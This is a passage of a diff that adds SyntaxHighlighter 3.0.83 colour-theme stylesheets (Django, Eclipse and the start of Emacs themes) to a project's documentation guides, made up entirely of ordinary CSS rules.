+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #e0e0e0 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: black !important;
+}
+.syntaxhighlighter table caption {
+  color: black !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #6ce26c !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #6ce26c !important;
+  color: white !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: blue !important;
+  background: white !important;
+  border: 1px solid #6ce26c !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: blue !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: red !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #6ce26c !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: black !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: black !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: blue !important;
+}
+.syntaxhighlighter .keyword {
+  color: #006699 !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #006699 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: red !important;
+}
+
+.syntaxhighlighter .keyword {
+  font-weight: bold !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shCoreDjango.css
@@ -0,0 +1,331 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #233729 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: #f8f8f8 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #497958 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #41a83e !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #41a83e !important;
+  color: #0a2b1d !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #96dd3b !important;
+  background: black !important;
+  border: 1px solid #41a83e !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #96dd3b !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #41a83e !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #ffe862 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #f8f8f8 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #336442 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #9df39f !important;
+}
+.syntaxhighlighter .keyword {
+  color: #96dd3b !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #91bb9e !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #96dd3b !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #eb939a !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #91bb9e !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #edef7d !important;
+}
+
+.syntaxhighlighter .comments {
+  font-style: italic !important;
+}
+.syntaxhighlighter .keyword {
+  font-weight: bold !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shCoreEclipse.css
@@ -0,0 +1,339 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #c3defe !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: black !important;
+}
+.syntaxhighlighter .gutter {
+  color: #787878 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #d4d0c8 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #d4d0c8 !important;
+  color: white !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #3f5fbf !important;
+  background: white !important;
+  border: 1px solid #d4d0c8 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #3f5fbf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #a0a0a0 !important;
+  background: #d4d0c8 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #a0a0a0 !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: red !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: black !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #3f5fbf !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #2a00ff !important;
+}
+.syntaxhighlighter .keyword {
+  color: #7f0055 !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #646464 !important;
+}
+.syntaxhighlighter .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #7f0055 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: red !important;
+}
+
+.syntaxhighlighter .keyword {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .xml .keyword {
+  color: #3f7f7f !important;
+  font-weight: normal !important;
+}
+.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
+  color: #7f007f !important;
+}
+.syntaxhighlighter .xml .string {
+  font-style: italic !important;
+  color: #2a00ff !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shCoreEmacs.css
@@ -0,0 +1,324 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
